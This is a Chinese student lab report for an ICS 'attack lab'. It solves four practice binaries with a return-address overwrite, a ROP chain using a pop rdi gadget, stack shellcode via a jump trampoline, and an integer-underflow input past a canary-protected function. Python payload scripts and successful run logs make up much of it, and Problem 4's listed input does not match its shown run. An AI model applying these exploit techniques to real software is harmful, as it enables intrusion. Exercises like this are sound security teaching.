栈溢出攻击实验

题目解决思路

Problem 1:

- **分析**:

  通过 `objdump -d problem1` 查看汇编代码，发现程序的执行流程为 `main` 函数调用 `func`，`func` 函数 (地址 `0x401232`) 定义了一个 8 字节的局部缓冲区，并使用 `strcpy` 将输入复制到该缓冲区。`strcpy` 不检查输入长度，存在栈溢出漏洞，`func1` 函数 (地址 `0x401216`) 调用 `puts` 输出 "Yes!I like ICS!"，这是我们的目标。

  在 `func` 函数中，栈的布局大致如下 (从低地址到高地址):

  `buffer` (8 字节): `rbp - 0x8`

  `saved rbp` (8 字节): `rbp`

  `return address` (8 字节): `rbp + 0x8`

  我们要覆盖 `return address`，需要填充的数据量为:
  8 字节 (buffer) + 8 字节 (saved rbp) = 16 字节

- **解决方案**:

```python
import struct

# 1. 填充 16 字节 (8字节 buffer + 8字节 saved rbp)
padding = b'A' * 16

# 2. 覆盖返回地址为 func1 (0x401216)
#使用 <Q 表示小端序 Unsigned Long Long (8字节)
target_address = struct.pack('<Q', 0x401216)

payload = padding + target_address

with open('ans1.txt', 'wb') as f:
    f.write(payload)

print("ans1.txt generated.")
```

- **结果**:

```
PS C:\Users\dell\Desktop\attack-lab-dai1107> wsl
wsl: 检测到 localhost 代理配置，但未镜像到 WSL。NAT 模式下的 WSL 不支持 localhost 代理。
dmq@DESKTOP-99E9BI2:/mnt/c/Users/dell/Desktop/attack-lab-dai1107$ ./problem1 ans1.txt
Do you like ICS?
Yes!I like ICS!
```

Problem 2:

- **分析**：要完成 Problem 2，我们需要绕过 `NX enabled` (堆栈不可执行) 保护。这意味着不能像 Problem 1 那样直接跳转到栈上执行代码，而是需要利用程序中已有的代码片段来构造攻击链。

  对目标函数 `func2`

  ```
  401222: mov    %edi,-0x4(%rbp)      ; 将第一个参数(edi)存入栈
  401225: cmpl   $0x3f8,-0x4(%rbp)    ; 比较参数是否等于 0x3f8 (十进制 1016)
  40122c: je     40124c               ; 如果相等，跳转到打印 "Yes!..." 的代码
  ```

  需要调用 `func2`，并且必须让第一个参数 (`rdi` 寄存器) 等于 `0x3f8`。

  接着我们需要一个代码片段，能够将栈上的数据弹入 `rdi` 寄存器，然后返回。

  找到的代码片段

  ```
  4012bb <pop_rdi>:
  ...
  4012c7: 5f      pop %rdi
  4012c8: c3      ret
  ```

- **解决方案**:

  ```python
  import struct

  padding = b'A' * 16
  pop_rdi_ret = struct.pack('<Q', 0x4012c7) # Gadget 地址
  arg1 = struct.pack('<Q', 0x3f8)           # 参数 0x3f8
  func2_addr = struct.pack('<Q', 0x401216)  # 目标函数地址

  payload = padding + pop_rdi_ret + arg1 + func2_addr

  with open('ans2.txt', 'wb') as f:
      f.write(payload)
  ```

- **结果**:

  ```
  dmq@DESKTOP-99E9BI2:/mnt/c/Users/dell/Desktop/attack-lab-dai1107$ ./problem2 ans2.txt
  Do you like ICS?
  Welcome to the second level!
  Yes!I like ICS!
  dmq@DESKTOP-99E9BI2:/mnt/c/Users/dell/Desktop/attack-lab-dai1107$
  ```

Problem 3:

- **分析**：要想完成 Problem 3，我们需要利用“跳转到栈上执行 Shellcode”的技术。虽然栈地址通常是随机的 (ASLR)，但程序中包含了一个无需猜测栈地址就能跳转到栈缓冲区的特殊机制。

  目标函数 (`func1`)，需要它检查第一个参数 (`rdi`) 是否等于 `114` (0x72)。如果相等，输出包含 "lucky number 114" 的字符串，我们需要执行代码 `mov rdi, 114; call func1`。

漏洞函数（`func`），缓冲区为大小 32 字节 (0x20)，位于栈上，输入`memcpy` 写入 64 字节 (0x40)，存在溢出，可以覆盖返回地址，其中的特殊机制，在 `func` 执行时，当前的栈指针（`rsp`）被保存到了一个全局变量 `saved_rsp` 中。

跳转的已有代码段（`jmp_xs`）

```
mov 0x21cd(%rip),%rax       ; 读取全局变量 saved_rsp
mov %rax,-0x8(%rbp)
addq $0x10,-0x8(%rbp)       ; 加上 0x10
mov -0x8(%rbp),%rax
jmpq *%rax                  ; 跳转到 (saved_rsp + 0x10)
```

经过计算，`saved_rsp + 0x10` 正好指向我们在 `func` 中的输入缓冲区的起始位置。

所以我们在缓冲区中放入一段 Shellcode（机器码），我们将 `func` 的返回地址覆盖为 `jmp_xs` 的地址（`0x401334`）。当 `func` 返回时，它跳转到 `jmp_xs` -> `jmp_xs` 计算出缓冲区的地址 -> 跳转回我们的 Shellcode -> 执行 Shellcode -> 调用 `func1`

shellcode为

```
  mov rdi, 0x72       ; \xbf\x72\x00\x00\x00
  mov eax, 0x401216   ; \xb8\x16\x12\x40\x00 (func1地址)
  call rax            ; \xff\xd0
```

- **解决方案**:

```
import struct
shellcode = b"\xbf\x72\x00\x00\x00" + b"\xb8\x16\x12\x40\x00" + b"\xff\xd0"

padding_buffer = b'\x90' * 20
saved_rbp = b'B' * 8
jmp_xs_addr = struct.pack('<Q', 0x401334)
payload = shellcode + padding_buffer + saved_rbp + jmp_xs_addr
with open('ans3.txt', 'wb') as f:
    f.write(payload)

print("ans3.txt generated.")
```

- **结果**:

```
wsl: 检测到 localhost 代理配置，但未镜像到 WSL。NAT 模式下的 WSL 不支持 localhost 代理。
dmq@DESKTOP-99E9BI2:/mnt/c/Users/dell/Desktop/attack-lab-dai1107$ ./problem3 ans3.txt
Do you like ICS?
Now, say your lucky number is 114!
If you do that, I will give you great scores!
Your lucky number is 114
dmq@DESKTOP-99E9BI2:/mnt/c/Users/dell/Desktop/attack-lab-dai1107$
```

Problem 4:

- **分析**：canary设置在函数 `func` (地址 `0x135d`) 的开头

```
136c: 64 48 8b 04 25 28 00    mov    %fs:0x28,%rax  ; 从 fs 段寄存器偏移 0x28 处读取随机 Canary 值
1375: 48 89 45 f8             mov    %rax,-0x8(%rbp); 将 Canary 值压入栈中 (rbp-0x8)
```

之后有canary的检查，在函数 `func` 返回前 (地址 `0x140a`)

```
140a: 48 8b 45 f8             mov    -0x8(%rbp),%rax ; 从栈中读取之前保存的 Canary 值
140e: 64 48 2b 04 25 28 00    sub    %fs:0x28,%rax   ; 将其与当前 fs:0x28 处的正确 Canary 值相减
1417: 74 05                   je     141e            ; 如果结果为 0 (相等)，跳转到正常返回
1419: e8 b2 fc ff ff          call   ... <__stack_chk_fail@plt> ; 否则，调用报错函数 (检测到溢出)
```

- **解决方案**：payload为

```
daimingqiu
yes
-1
```

- **结果**：

```
dmq@DESKTOP-99E9BI2:/mnt/c/Users/dell/Desktop/attack-lab-dai1107$ ./problem4 ans4.txt
hi please tell me what is your name?
daimingqiu
hi! do you like ics?
no
if you give me enough yuanshi,I will let you pass!
-1
your money is 4294967295
great!I will give you great scores
```

思考与总结

在这个attacklab中，在之前理解栈溢出攻击的基础上，多了自己的动手实验，更深刻的理解了这一过程，也明白了canary防护的原理，通过比较前后canary是否发生改变，来判断是否有攻击发生。最后一个实验了，ics好难QAQ

参考资料

列出在准备报告过程中参考的所有文献、网站或其他资源，确保引用格式正确。